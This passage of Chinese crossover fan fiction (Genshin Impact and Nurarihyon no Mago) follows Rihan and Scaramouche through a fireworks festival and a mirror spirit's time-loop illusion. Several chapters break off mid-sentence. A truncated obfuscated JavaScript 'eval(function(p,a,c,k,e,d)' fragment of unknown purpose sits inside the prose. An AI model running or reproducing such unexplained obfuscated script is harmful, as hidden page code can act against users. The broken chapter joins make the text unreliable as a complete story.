“唔……”能掌控风的力量也太方便了,也让自己少了很多机会呢。 奴良鲤伴沉吟着在树干上坐下,靠着主干看向远处,这根树干足够的粗壮,可以舒舒服服地坐在上面,而不必担心束手束脚的,他看向远方,河对岸的人忙忙碌碌,而河岸边熙熙攘攘的人群也找到了合适的位置,不知道是那位爱美的小姐,行走间照着镜子,反光在这个角度正有些刺眼。 奴良鲤伴一手拖着另一手的胳膊,眯起的金眸遮掩了思绪。只听见他腔调散漫地说道:“不知道为什么,我完全没有想拉你进奴良组的想法呢。” 散兵发出了一声短促的冷笑,“我也没打算再对另一个人俯首称臣。喔,纠正一下,神也不行。” “我不是这个意思……”奴良鲤伴心知自己的话语难免产生歧义,但或许是心底的茫然,他也无法描述出自己心底真正的想法,他摸了摸下巴,“也许、也许……是其他的方式?” 他凝视着即将沉落的太阳,已经不甚明亮的赤阳正倾尽最后一丝力气将云朵染成绚丽的红色。仿佛被点燃般的天空映衬下,奴良鲤伴被托起的手不自觉地抚摸到胸口,心脏有力地跳动着,似乎有什么就要呼之欲出—— “嘭——!”一朵烟花高高的飞入空中,流焰在天空化为一朵绽开的花。 这声音打断了奴良鲤伴的思绪,他猛地从那种状态中抽离,不知道为何有种怅然若失感萦绕,或许此时最佳的决定是整理思绪,但是有来自远方的友人在侧,这样的话也未免太过无情失礼了。 散兵看向炸开的烟花,此时天色还未彻底暗下去,烟花绽放只有最亮的那一瞬清晰可见,更多的余烟与天色融为了一体,“错误的时机,就算是倾尽了全力,也未必会有所回报呢。” 现在显然不是烟火大会开始的正确时间,至于发生了什么,是出了什么事情,还是单纯的管理人员手滑,亦或者其他,都不重要。 因为这枚烟花,已经完全失去自己的价值了。 好在,它得生命极其短暂,倒也不必庸人自扰。 “起码足够特殊。”奴良鲤伴有不同的想法,“尽管没能展现最好的姿态,但这番情景也算是独舞了吧,在后面的话,谁又会记得一株小花呢。” 他耸了耸肩,“这种资格,怎么也得是头牌才能有的舞台吧。” 散兵刚刚也不过随口一说,不过,“你倒是熟稔。” “这应该是常识吧。”奴良鲤伴耸了耸肩,虽然不似人类那般繁华,但是奴良组也有类似的居酒屋,如果说真的不了解那就太过虚伪了。何况他也并不喜欢欺骗。 “没有价值的东西便毫无存在的意义,那你觉得,本应在烟火大会开始后绽放的烟花,提前登上了舞台,算不算是失去了价值呢?”散兵突然说到,他侧过头,看向身边的大妖怪,眸光闪动,唇线扯出一个堪称温柔的弧度,又诱导道,“它可没有履行被制造出的责任喔?” 突然这样看着我笑,这陷阱的意味也太明显了吧。奴良鲤伴在心底里嘀咕,诚实地欣赏着少年难得流露出的堪称乖巧的姿态。 “……我不知道。”奴良鲤伴思索着给出了自己的答案,他对上那双如紫水晶一般明亮的眼眸,虽然给出了这样缥缈的答案,但他的神色极为认真,“只有站在那个舞台上的烟花,才能判断自己的价值是否实现。” “制作者所给予的只是期望,而他人的期望终究只是外在的东西而已。真正能够推动着前行的,一定是内心的愿望。” “……可惜。”没有心的话又何来内心呢。 少年扭过头,奴良鲤伴觉得他似乎听到了一声叹息,又或许只是错觉。 “你们这些天生就有心的生物,思维还真是难以理解呢。”他的声音轻快中带着一丝惯有的讽意,半分没有泄露真实的情绪。 奴良鲤伴却皱了眉头,探究地望了过去。 阳光斜照在散兵的侧脸上,背后是夕阳染出的绚丽红色,身后柔和的光线勾勒出他清秀的轮廓,白皙细腻的肌肤,仿佛也被镀上了一层淡淡的浅红,削弱了不少一直以来他刻意维持的锋锐感。暖暖的余晖轻柔地抚在他的发丝上,好像它们也在这温柔下变得更加柔软起来了。 少见的,不知道在想着什么的少年,或许是松懈了伪装,在此刻竟然显露出一种乖顺。 在两人间的宁静维持了许久后,奴良鲤伴突然忍不住说道:“真可爱。” “……哈?你在说什么奇怪的话?”散兵瞥了大妖怪一眼,紫水晶的眼眸像是被重新注入了灵魂,眼波流转间流露着的是淡淡的惊讶,比之刚刚要鲜活不少。 想看你更多的情绪。大妖怪当然不可能这么说,他不想和少年打一场,况且两人的情况也战不痛快。 “啊。”大妖怪弯了弯眼眸,他看向散兵的衣摆,故作思考状,“我说猫猫真是可爱,明年我也要做一身。” “……幼稚。”散兵语带嫌弃地点评道,“好在那时候我大概不用陪着你一起丢人。” 这样就很好。奴良鲤伴唇角上扬,虽然那样也很可爱,但还是这样有生机的多。 —— 夜幕降临,柔和的月亮取代了灼热的太阳,银纱柔柔地洒下时,夏日的暑气也好像消散了几分。 花火大会是一年中最令人期待的盛事之一,更别说还是在江户这样的大城市附近举办的了,周围早已经被彩灯和装饰品点缀得五彩缤纷,小吃摊贩们自然也没有缺席,淡淡的花香和食物的香味即使在高高的树上也能嗅到。 “被遗忘了呢。”散兵勾了勾唇角,幽幽的好心提醒。 奴良鲤伴无奈的抓了抓头发,“……毕竟是花火大会嘛,纪乃和首无应该也期待已久了吧。毕竟酒什么的,也不是必需品。” 见他这样散兵忍不住发出愉快的笑声,“安慰”起来,“呵呵,能够保持清醒岂不是再好不过?先不说我们被捆在一起,我是否愿意被你牵连弄得满身酒气……你就真的能够放心和我在一起?” 他猛地一撑树干欺身而上,唇角勾起充满恶意的弧度,眼眸中闪烁着不可捉摸的光芒。 “砰——” 烟花升空,带着尾焰直冲云霄,紧接着是如雨般洒下的光芒,瞬间将黑夜变成了白昼,紫水晶般的眼眸里照映绚丽的烟火。 “我可说不定会对你做什么喔?” ——这烟火一定就绽放在自己心间。 奴良鲤伴睁开的双眸稍稍睁大,只觉得一阵口干舌燥,喉头轻动。 少年显然有所误会,他露出一抹恶作剧得逞的笑,站起身,惬意地眯起眼眸,此刻的神态倒是和额头上带着的面具有些相似了,“放心,我们暂且还是朋友。” 当然,只是暂时。与他人建立过多连接从未有过好事,起码此刻的自己还并没有改变观点的想法。 “但也别太相信我了,归根到底,我可不是什么好人啊。” 猫都是这样喜欢挠一爪子洋洋得意离开的动物吗?奴良鲤伴无奈地想到。不过这算不算还没开始接近就被拒绝了? 随着烟花的不断升空和绽放,整个夜空被装点得如同一幅巨大的画卷。每一次烟花的炸开,都会引起人群的欢呼声和惊叹声。可惜,此处能专心欣赏烟花的只有自认为已经警告过奴良鲤伴的散兵而已。 可惜烟花这种东西并非江户独有,新奇的不过是有临时朋友的陪伴而已,只是看得多了,也终究会腻味。散兵漫不经心地抬眼扫视起其他地方来:除了那些小摊位上的店主还在忙碌,其他的男男女女或是二人同行,或是家庭友人成群而行,一片幸福之意。 但从心底里突然涌上一阵触动,散兵猛地扭头看向了某个方向,一个身影一闪而逝钻入人群中。 “出现了。”散兵一把抓住奴良鲤伴的手腕,在树干上轻盈一踏,飞速朝着那个方向赶去。 “诶?!”刚刚还沉浸在思索里下一秒蓦然被抓起就走,大妖怪睁大了金色的眼眸,不可置信道,“不是吧,这个时候?!那个家伙未免也太过不知情识趣了!” —— 那道身影迅捷无比,在人群里钻来钻去,若非那种奇妙的感应,两人恐怕早已经追丢了人。 散兵扒开挡在前方的路人,眼前出现的是一个岔路口,他眯起眼眸细细感受着方向,毫不迟疑地选定了右侧追去。 刚刚那个身影,如果没看错的话…… 他转过弯,强烈的反光突然照向了他的眼睛,在刺眼的光线中,目标瘦弱的过度的双腿勉强映入视界。 刚刚自己就是被这么个瘦弱的家伙遛了这么久?他感觉到一阵荒谬,但很快耀眼的白光彻底断绝了视线,他只来得及朝着刚刚对方所在的方 25.试探 《[原神+滑头鬼]风之归处》全本免费阅读 “莽撞的蠢货。” 散兵将一闪而过的担忧重新深埋眼底,抱臂扬了扬唇冷冷嘲讽道。 “诶呀,这不是最快的方法嘛。”奴良鲤伴丝毫不在意散兵的态度,毕竟刚刚自己把咒语念了一半时,少年想要上前打断自己的动作做不得伪。不过到底自己的记忆力还算不错,那段咒语没看几遍就牢牢记住了,就算是在交手的动作间也不影响流利的背诵。 而结果也在意料之内,这段只有秀元和他们在内三人才清楚的咒语确实证明了他的身份,但咒语的无效也证明了他们之间的束缚确实已经是断开的情况。 “毕竟时间紧迫,城门今天可是没有门禁的,这范围可是大的出奇。”奴良鲤伴懒散地蹲在地上,捏着红线垂下来的两端试图往一起对着,语气却颇为凝重“是那个孩子么,如果是他的话,他恐怕没有回江户的理由,如果直接从这里离开,后面可就更麻烦了。” “是他。但他的状态很奇怪,毕竟我再怎么也不至于追不上一个人类。”散兵回忆着情况,皱了皱眉,“如果人类都能做到这种程度,其他生物还是统统回归深山老林好了。” “被附身了?”奴良鲤伴松开了一对在一起就打滑的红线,“是这具身体有什么特殊的吗,不然的话丢弃掉再换一个来的更快吧。” “而且是具病恹恹的身体。”散兵补充,“异常的话,也只有这些了吧。” 只是这种幻境一般的能力,倒与他一直以来心底里的猜想不同。 “感知到他的条件呢?” “如果能发现的话,我们恐怕早些就在这个地方了。” “那这可难办了啊。”奴良鲤伴说着站起身,脸上的笑意可不像半分觉得困扰的样子。 “那就在这夏夜里来一场别开生面的百鬼夜行吧。”他侧过头,那一贯懒散闭起一只的金眸此刻却如出鞘之刃一般闪烁着锐利的光芒,深邃的眼眸里,自然的流露出一股不容置疑的自信。任谁看到这幅胜券在握的神情,都会对其产生追随之念。 “我保证,一定会在天亮前找到那家伙的。”奴良鲤伴用令人安心的郑重语气道。 “啊。”散兵下意识伸手,却只摸到额头上带着的面具,所以他只是别过头,“姑且相信你一次吧。” 难怪这家伙总是那副模样,也还是有这么多人追随,这的确是理所应当的事情。垂下眼眸时,少年在心中想到。 —— 星河低垂,一朵朵绽开的烟火与明星争抢似得照亮天空。人群熙熙攘攘,欢声笑语此起彼伏。 奴良鲤伴一走出僻静的小巷子就好似重新回到了热闹的人间,这是他以往最喜欢的环境,不管是漫步人群切身感受人间烟火还是在街角饮酒观察人间百态,都是一件快事。 但现今他的脸上布满了阴云,再无半分闲适惬意。 他在脑海中努力的复盘发生了什么,可惜那时他并未在意前方追逐的目标。一来是因为清楚以对方的实力来说对付这种藏头露尾的家伙必定没有问题,二来是人群确实拥挤,这应该是江户附近一年里最热闹的时刻之一了。 可他忘记了这时间总有各种各样的求法,二两人之间更是…… 奴良鲤伴摩挲着手上的红绳,眼眸里是掩盖不住的懊恼担忧。 这契约本来就是为了约束限制稚生神明而被创造的,现如今散兵被不知道什么术法困住,那等找他回来的时候,这份惩罚到底会在会落在谁的身上呢?他想要相信这份惩罚会被均分,但理智上也清楚事实恐怕难以如愿。 正如少年所说,被训育的鸟儿怎么会有飞翔的权利呢,能有这样的喘息之机也不过是培养亲密度的一种手段,以便更好的借用力量罢了。如今的情况是否会被视为是逃离呢? 思索间注意力难免下降,奴良鲤伴猛地和一个浑身带着甜腻糕点气息的男人撞了个满怀。 “抱歉,抱……诶?!”男人下意识的道歉,待看清了对方的脸时,一扫刚刚的卑微,“是你啊,那我们两清了。” 以对方的态度来看两人必定见过,奴良鲤伴很快就从记忆里翻出了这个人,也瞬间理解了对方的态度——正是刚刚路上被撞开的游人之一。 似乎当时他还拿着什么东西。奴良鲤伴嗅着香甜的糕点气息,眼神游移,但很快他就抓住了关窍,从钱袋里抓出几枚小判,塞到对方手里,神情诚恳:“刚刚的事情真是对不起了,不过,你还记得一开始推开你的是什么人吗?” 金子的光辉在这种暗淡的光线下也显得分外耀眼,男人狐疑的在戒指上敲了敲,听到清脆的声音后又对着光检查起来,看到上面精细的刻印,才相信这或许真的是小判。 “真的都给我?”男人摸了摸手里的小判,之前的不满的情绪已然全然消失了。 而奴良鲤伴的耐心快要耗尽了:“我们追的是什么人?” “是个瘦弱的流浪儿,嘶——”男人先开袖子,一片青紫赫然盘踞在其胳膊上,“那小子明明瘦的一折就会断,但力气倒是真不小,现在还在疼呢。” 一个身影几乎瞬间就出现在了奴良鲤伴的脑海中,这也是他一开始就怀疑的对象,如今看来直接去寻找他更是成为首要的目标了。 “您还有什么想知道的吗?”男人恭敬的低下头,见对方没有回应,抬起头猛然发现刚刚还在自己的眼前的黑发男人,已经在不知道什么时候离开了。 他张望了一圈,只有欢闹着的人群,又拿起小判对着光仔细的检察了检察,才露出心安的笑容来。 —— 平日里或隐匿于城市各个角落,或是有自己一番营生的,属于奴良组的妖怪行动了起来。 散兵本以为会有人质疑这个任务是否值得大费周章,但意外的是竟然无人质疑,除了一个只有一只眼睛的干部打量着看了他好几眼外,成群结队的妖怪很快就浩浩荡荡的散了出去。 奴良鲤伴目送着部下离开,被派了任务却没急着离开的首无走上前,声音凝重,“鲤伴大人……” “啊,我都知道了。”奴良鲤伴面色沉凝的说道,“我也发现了,少了不少人对吧?” 首无坚定的说道:“我相信他们。” “虽然很不想相信,但看证据又加了一条啊。”奴良鲤伴感叹道,“啊,别担心,我说的是另一件事情。” “失踪的那些家伙都是不爱动的家伙对吧?” 首无回忆了一番:“起码我的人里没来的都是这样的。” “假设 26.映月 但奴良鲤伴的异样也只持续了那么一会儿,很快就又恢复了那副吊儿郎当的浪荡姿态。 这幅样子倒是让散兵疑神疑鬼起来了——这家伙到底是什么意思?——他眼也不眨地注视着奴良鲤伴的身影,陷入了思索,但很快他就反应过来,奴良鲤伴是怎么样的人或者妖又如何呢,无非只是过客而已,若非是这红线的限制,他早已踏上了寻找回归之法的路上。 他忽略了心中隐隐的异样,不管什么时候,放弃深究总是很释然的事情。 这种被暂时压下的异样不再萦绕在心头,但存在即是存在,也许有一天完全破土而出时就再也不能抑制了吧。 当天上的烟火不知道更换了几轮色彩花样后,一个急匆匆的身影出现在眼帘中。 “看来是找到了。”看到急冲冲奔跑过来的妖怪,奴良鲤伴就冲着散兵点了点头确信道。 而果然也如同他的猜测一般。 奴良鲤伴没有把时间花在夸赞妖怪们努力上,他只是称赞了那只妖怪一句,便转头看向散兵,沉稳地宣布:“出发吧。” 左右这次是为了帮自己,散兵没有对奴良鲤伴的发号施令作出评价。 虽然已经见过了奴良鲤伴正经时的沉稳样子,但是他看着抿着唇一脸严肃的大妖怪,还是难免觉得新奇。 …… 此处大抵并非真实的世界,两人不必在意遮掩身份,全力快速奔行朝着山上而去。 他们的目的地是附近一处空有赞誉的花火大会观景点,论视野来说颇为不错,但是正经上山的路程以人类的脚程要走上不短的时间,在晚上摸黑下山也不安全,是以它的优越只存在于口头评价之间,鲜少有把它作为一个真正选择的。 会选择这样的观景点,多半是被坑了的外乡人,剩下小半是更重视情调的,而后者里绝大多数都是家底丰厚之徒,能够忽视这些危险。 只是这地方实在有些远,如今堪堪看到峰顶的亭子,从出发的时间算起,已经过去一炷香的时间了。若是对方想要逃走,以他的速度应该已经不见踪影了。 奴良鲤伴踏在树叶上借力又是一个起落,比起枯枝缠绕、影影绰绰的地面,从上面走要安逸得多。他望着隐隐约约有一个身影站立其中的亭子,忍不住感叹道:“倒是颇为风雅啊。” “月下狼狈乱窜也同样颇为风雅。别误会,我说的就是我们俩。” 散兵凉凉地提醒两人被遛着走了半夜的事实。果然之前奴良鲤伴的靠谱也只是昙花一现而已。 而奴良鲤伴弯弯眉眼身体力行地论证了他的判断正确无误: “如果与美同行的话,在这月色下不管做什么都是十分风雅的。” 柔和的月光照在大妖怪的身上为他嵌了一层银边儿,恍然如披着月纱一般如梦似幻,只有那双灼灼的金眸分外明亮,只可惜对于无心者而言,这一切都毫无意义。 散兵瞥了他一眼,勾了勾唇冷嘲道:“你今晚显然有些不太对劲儿,只是很遗憾,我并非善解人意之辈,这种事情就留给更合适的人吧。” 风随心意而动,裹挟着他猛地一个爆冲,如今已无红线限制,速战速决解决那个小鬼才是当务之急。 “真是不解风情啊。”奴良鲤伴遮掩住眸底的沉思,低低地抱怨道。 “哈?这不是显而易见的吗,还是说你对我有什么不切实际的期待?” 听着风送来的声音,奴良鲤伴轻轻叹了一口气,提步跟上。耐心当然是猎人的美德,只是于镜中花水中月而言,耐心是最为奢侈的东西。 …… “嗯,很漂亮。” “真的像花一样呢,和村子里见过的完全不同啊!” “啊,真的能和月亮这么近……寂寞吗?呵呵,这不是有映月你在嘛。” “很开心,这是我一生最开心的一天了。” “咦……?”半大的少年突然与愉快笑着的猫猫头对视,他眨了眨眼视线顺着布料而上,仰头对上了一双冷漠的眼眸,但他并不畏惧,“你好……?” 这就是妖怪吗?真是好看啊……在最后的时光里,我是否终于看到了映月眼里的世界呢?真是可惜,不知道映月本来的面貌是什么样呢。虽然觉得遗憾,但是他的周身还是洋溢着幸福满足的气息。 散兵看到那个熟悉的瘦弱身影时,才稍稍安心,他从空中缓缓落下,注视着那个少年的身影,与他追逐的身影完全一致,脸也是记忆中的模样,但是到底有哪里不对? 他细细地打量起来,柴瘦孱弱的身躯,身上的衣服倒是换了一件,材质一般,略大了一些,但到底是新的,那股小动物一般的傻气也……嗯? 散兵眯起眼眸,正巧少年抬起头,双目相对,他终于发现了端倪所在——眼睛。 拨开人群,如游鱼一般逃窜的少年可没有这样一双病恹恹的眼睛,在转角时露出的那双眼睛剔透明澈,与这双浑浊的双眼截然不同。 “你有兄弟吗。” 听到如此冷硬的回复,少年没有半分生气或是害怕的情绪,毕竟映月说过,妖怪中不屑于理会人类的是大多数,如今这位妖怪大人愿意和自己交流就已经很棒了。 虽然不理解为什么妖怪大人这样问,“我家里只有我一个人。” “你有没有见过和你长得一样的人。”散兵盯着他,从少年的表情可以看出他刚刚并没有撒谎。 “长得一样的人?”少年眼里流露出不解,“除了兄弟怎么会有人长得一样呢?难道我的爸爸妈妈还有别的兄弟姐妹活着吗?” 散兵的眼底划过一丝暗芒,他不觉得这种看起来就头脑简单的小动物能骗过他,那么……尚且需要最后一次尝试。 他轻盈地落在观景亭的石制围栏上,迅速伸出手握住少年的手腕,少年似乎想躲,但人类的速度显然难以反抗,这让散兵略有些失望。 手中近乎只是骨头上覆盖着一层皮的手腕是那样纤细,以至于他可以轻松地圈住,此刻他拉过对方,圆润的指甲狠狠一划——一滴血鲜红的血液从伤口渗出。见此情况,散兵的失望溢于言表,奴良鲤伴正打算上前安慰一番时,被拉得踉跄的少年突然咳嗽起来,剧烈的咳嗽让他怀中的东西“当啷”一声落在地上。 ——是一面镜子。 朝上的镜面反射着月光,亮闪闪的。两人都不由地看了过去—— 只见镜面中一张与少年一模一样的面容,正皱眉关切地看着少年的方向。 镜中人正有一双剔透明澈双眼,与散兵所见过时的模样相比,他的脸上多了一道正淌血的口子,看伤口模样应当是锐器留下来的。 而此刻,镜中人在看完少年的情况后,清凌凌的视线看向了散兵。 倏然,镜面迸发出强烈刺眼的白光—— —— “还要藏头露尾到什么时候?你也知道吧,这是毫无意义的。” 奴良鲤伴从百鬼中走出,他面前是一栋荒废了的破旧宅子,此刻这栋宅子已经被奴良组所属的妖怪包围,连地面下也无需担忧,而那只少年模样的妖怪正藏身其中。 他本以为妖怪会回到江户,便回去从二人白天第一次见到他的地方开始搜查,但没想到这个胆大的妖怪完全没有逃窜的意图,所藏身的地方竟然就在隅田川附近的地方。如此一来反倒是他最后才赶到了,好在那个妖怪似乎并无逃窜的意图。 奴良鲤伴的手握住弥弥切丸的刀柄,在他耐心耗尽的前一秒,木门晃动了一下被人打开了,少年的身影随即从屋里走了出来。 他和奴良鲤伴印象里的样子不同,身体瘦弱却站得笔直,并没有之前一副命不久矣的病重模样,剔透明澈的眼睛冷冰冰的,看不出半分情绪,手捧着一面古朴的镜子。 不同于散兵对本地世界的生疏,身为半妖的奴良鲤伴一眼就看出了端倪,他扫过少年手里的镜子,低笑道:“原来是 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这令奴良鲤伴注意到了他的转变,手腕一转甩去刀身上沾染的血液,这次朝着对方持镜的那只手攻去,显然这个付丧神的本体有什么秘密。 “和你想的怎么样?” 少年看出了奴良鲤伴的意图,一边和镜子对面的人交谈,一边后退一步向后弯腰举起古镜以背面抵抗斩击。 “你在和谁说话,那个你真正想要神隐的目标?” 奴良鲤伴他手上的攻势稍稍放缓,开口道。 这个付丧神的战斗意识并不强,在刚一接触时便能感受得出,想要拿下对方很容易,只是付丧神是什么,他们大多本体本就是有特殊力量的物件。 若是有名倒也还好,就怕是什么不知名的小物件,还需要花上几十上百年去探究该如何释放镜子里的人。 少年翻滚着躲开了下一刀,他清楚地感受到从伤口处自己的妖力流动变得缓慢了,很快就意识到那把刀一定有问题。 而对方此时攻势放缓,他也趁机继续道:“这个位置很棒吧,不会有人打扰,只是,恐怕会有些寂寞。” “喂,不搭理人还分神可不是什么好习惯啊。” 奴良鲤伴一刀斩出,付丧神脸颊一痛,一道威胁性的伤口便出现在了脸侧。 鲜血流淌过因饥饿而凹陷的脸颊,少年面色如常,任由沾染着自己血液的刀刃抵在脖颈上,语气平淡地问道:“今天开心吗?” 他露出了一个浅浅的笑:“那就好,以后每天都是‘最开心的一天’。” 他的手覆在镜面上,终于把注意力投向了几乎要忍不住斩下的大妖怪身上。 “你可以杀死我了。” 他平静地就好像在说“今天天气真好”一样。 奴良鲤伴望着那双剔透的一无所有的眼睛,第一次感受到了棘手。 如此态度,他几乎可以确定那面镜子没那么好使用。 要把希望放在秀元身上吗?他眯起眸子,心中反复斟酌拉扯间,握着弥弥切丸的手稳稳地抵在少年脖颈上。 —— 散兵这次毫不犹豫,猛地扑向少年所在,不管那面镜子是什么,那个不知道是真傻还是装傻的少年一定是问题所在! 但这次刺眼的光芒只持续了一瞬,下一刻他就发现自己前扑的身体,被“矫正”成了站姿。 脚步声响起,毫无疑问是奴良鲤伴,他问道:“你怎么了?” “你在看不起我吗?呵,不过是用腻的伎俩。” “那就好,唔……”奴良鲤伴沉吟了一下,看起来在犹豫要不要说出口,“那个少年的,你刚刚没追上吗?” 散兵几乎以为对方在嘲笑自己了,他危险地眯起眸子,街角——嗯? “刚刚,”他面色沉凝,问道,“我们一起在做什么?” 奴良鲤伴见他如此神态,自然也知道发生了什么,“你突然开始拉着我追什么人……?” 27.离开 “原来如此。”散兵眼眸一动,已经了解了如今处境。那么接下来的事情,就是甩去那些无用的步骤,直达最后的结果。 那样的位置人类不可能轻易来回,除却镜子之外那只小动物一切都与人类无异,现在直接朝着那个位置出发就好了。 “喂喂你知道了什么啊,倒也和我分享一下。” 奴良鲤伴一头雾水的连忙跟上突然转身朝着河岸方向飞去的散兵,“这样会被人类注意到的,接下来又要有不知情识趣的阴阳师来江户了。” “你难道会害怕?” “当然不,但是这是规则——” “真是麻烦。”散兵嘀咕了一声,并不在意大妖怪是否听见了,用最简短的语气复述了一遍刚刚经历的事情。 奴良鲤伴侧头看了一眼天空,璀璨的烟花一朵接一朵地绽放在天空,眼眸深沉几分:“诶呀……山上那个观景亭我也很喜欢的,原本计划带你去那里,不过后面觉得山上到底还是太过寂寞了。” “只是那个时候为什么还能看到烟火呢。”奴良鲤伴侧目看向散兵,“花火大会,可不会持续到那个时间。” 江户富庶,花火大会的时长自然是顶格的,但是他们本来就赏景了不少时间,后才开始追寻那个孩子,搜寻他的踪迹又花费了不短时间,这种时候怎么还能和别人夸赞烟火好看? “时间停滞了。”散兵听明白了他的意思,他屈指抵在下巴上,“而我们被拉回的时间节点正是我拉进来的那一刻。” “不是‘我们’,是‘你’。”奴良鲤伴弯了弯眸,笑意却不达眼底,“我并没有相关的记忆,也就是说,我同这里的烟火一眼,只是镜花水月而已。” 哎呀哎呀……使用幻术的妖怪有一天意识到自己也成了镜花水月,这种感觉也太奇怪了。 但是知道这些有什么用呢?散兵垂眸。 不,当然有。紫水晶一样的眼眸变得锐利起来,一开始自己切实伤害到了那个孩子,虽然不知道那镜子能做到的程度,但那个孩子是人类,这是毫无疑问的。只要速度够快,挟持住他并不困难,只是…… 被他瞥视的大妖怪眨了眨眼,低头看着手上断开的红线,“反正都是镜花水月啦,做一下出格的事情也没关系吧。” “你有这样的想法那就好办多了。”散兵意外地挑了挑眉,“这场无聊的闹剧也该结束了。” 烟火在天空中有规律的爆裂声,踏月色,沐清风,若非是被困于此处倒是别有一番情趣。这段路程很快就在奴良鲤伴的思索中走到了末尾。 那个少年已经站在了亭子里,而在散兵正打算上前挟持住对方前,一脸焦急的少年在看到他们身影的那一刻几乎崩溃地大哭。 “救救他救救他!不要杀他……!”那双因病而显得暗淡的眼眸或许是被泪水冲刷的缘故,在看到奴良鲤伴的那一刻露出的希望竟硬生生被点亮了。 此刻的少年除却还是浊骨凡胎外,看起来几乎与镜中人完全一样了。 “看来是外面那家伙已经做了什么吧。”奴良鲤伴无辜地摊了摊手,随即拍了拍那个抓住自己衣袖的少年的肩膀,“好了,不知道你能不能解释一下我们要怎么救‘他’?” “毕竟真正的受害者还没说话呢,要哭的话是不是也太早了?”散兵凉凉地接道。 少年羞愧地低了头,颤抖的手拿起放在石桌上的古镜,“对不起,映月他都是为了我……” 镜子中,原本绷着脸,只露出半张侧脸的金眸大妖怪注意到变化,侧过头,左手食指中指并起抵在额间,抬起一挥,带起了几缕碎发,笑眯眯道:“哟?” —— “你可以杀死我了。” 剔透的眼眸里并无对死亡的恐惧,只有一片死寂的平静。 “你就这么着急寻死?” “我打不过你们,所求的也已经得到了。”但好在所记录的已经足够多了,那里不会是无聊的世界。 “喔?”大妖怪凑近他,声音中带着诱惑,“那你就不想看着自己的成果吗?” 可别是什么真的无欲无求,一心奉献的圣人啊…… 少年低下了头,纵然已经过了许久,那段记忆对他来说依旧鲜活。 …… “咦……这东西,能卖不少钱吧。不,我要那些也没什么用了。” 少年意外地看着箱子里的东西,那是一面古朴的镜子,金属的轮廓已经暗淡了,蒙尘的宝石也显得灰暗。他捧起它,伸出手,轻轻拂去了上面的灰尘。 “嘶……” 他抬起手,明明抚摸过的是光滑的镜面,手指上却呈现出被什么尖锐东西刮破的伤痕。 或许是边缘的宝石太过尖锐吧。他想到。 边缘嵌着的宝石在小心地擦拭下重新焕发光芒,留下的血迹也被少年用湿布温柔地擦去,光滑的镜面上印出少年的脸庞。他凑近了些,轻快地眨了眨眼,歪了歪头。 镜中的影像亦然。 但他却能感觉到那映像中的生命力,那绝非他,但那又是他。 “你是谁?”于是他问道,“你是……另一个我吗?” 他当然不是。被唤醒的付丧神想到。但不知道出于什么样的心思,镜中人点了点头。 “太好了!”少年兴奋的说,眼眸如星星一般,闪亮亮的,“我从来没有朋友,但你现在就是我的兄弟了。” 镜中人看着少年枯瘦的身体,那纤细的胳膊好像一折就会断裂,毫无疑问这个少年并没有家人陪伴,因为没有人会让一脸病色的孩子收拾东西。他如今只是在这个屋子里等待着死亡的到来而已。如果把自己卖掉也许能多活一些时月吧。 “你有名字吗?”少年问道。 镜中人摇了摇头。 “那就把我的名字分给你!我是影月,是在晚上出生的,月亮的影子,你的话……”少年摸了摸镜面,露出了一个欢快地笑,“那你就是映月了!” 他不知道映月是什么,但……或许是他的私心吧,他已经不想一个人再下去了。如果还要一个人迎来死亡的话,那未免也太可怜了吧。 名字…… 付丧神感觉到有什么改变了,却并不讨厌,被尘封了那么久,这终于得到的温暖或许……很快就会消逝掉吧。啊,人类就是这样的生物。 不管此刻两人心思为何,在这一夜月亮将他们紧紧地联系在了一起。 …… 有所求就还好。奴良鲤伴看着陷入回忆的付丧神,心里稍稍安定。 “镜中的时间是停滞的,会在一段时间内反复循环。”映月抚摸着镜面突然解释起来,“每次打开镜子,其中的世界就会重新流动,并生成新的起始点。” 他抬起头,看向奴良鲤伴的眼神里愈发坚定,“影月的身体已经支撑不住了,所以,我是不可能再打开它的。” “但你今天不是已经神隐了我的朋友。”大妖怪语气轻佻,刀刃却是往里送了几分,一缕血线顺着付丧神的脖颈流下,“总不至于就差这么半天的时间吧。” 但是烟火大会已经结束了。映月看向天空,孤零零的月亮挂在夜幕之上,看起来寂寞冷清。 —— “看来这位小朋友就是那个家伙不愿意松口的原因?” 镜子里——或者说外——的奴良鲤伴说道。 “看来你也已经找到了那个家伙啊。”散兵略有些意外,那个妖怪的动作实在迅捷,不过对于奴良鲤伴确定了目标这一点他倒是毫不意外。 “可惜我们的镜子脑袋朋友不愿意放人。”奴良鲤伴耸了耸肩,“所以求那个家伙也没用啦,快来劝劝你的朋友。” 把压力交给小朋友也太失败了。奴良鲤伴在心中谴责自己但并不影响大妖怪贴心地转了转镜子的角度,“我们的未来可都在你身上了。” “映月……”看着脖颈上流下的血迹,影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我有一个办法。”他弯了弯眼眸,以恶劣的口吻说道,“我可以将你们的性命相连,但是先不说岁月渐长你们所滋生的分歧怨恨,就算相安无事,也有可能在某一天因为‘耗尽’而失去生命喔。” “能持续多久。”付丧神问道,如果可以,他当然也更希望影月能够活在真实的世界。 “不知道。”散兵没打算在这点上欺骗他,他太过清楚,在这种选项前,对方只会有一个选择,“但是上一个贪心的家伙用它维持了一整个村子的性命持续上百年。” “已经够了。”付丧神低声说道,他提前堵住了少年想要阻拦自己的话,“我不言不语度过了太漫长的岁月,现在的我比你更害怕孤独。” 影月想起那时古镜上厚厚的灰尘,放下了原本抬起的手。 “如果你说的是真的话,我同意了。” “嗯,毫不意外,所以我们要怎么出去?” “你和影月一起把手放到镜子上,我送你们出来。” 奴良鲤伴见他们谈妥,也收刀回鞘,“看来是解决了?” “希望你们没有骗我。”映月平举着镜子,他将手放在镜面上。 而另一侧,散兵转过身打算和这里的奴良鲤伴告别,却发现大妖怪金色的眼眸原来一直注视着自己,灼灼的眼眸比月光还要明亮。 他抓起散兵的一只手,虽然有些不解,但进来或许已经习惯了这样的亲近,少年只是仰着头,用紫水晶一样的眼睛注视着他。 诶呀……这样专注可真是。奴良鲤伴弯了弯眼眸,躬下身子与他对视,另一手绕至他颈后,在少年耐心消失想要张口询问的一瞬间,凑近身子手掌施力,柔软相触。 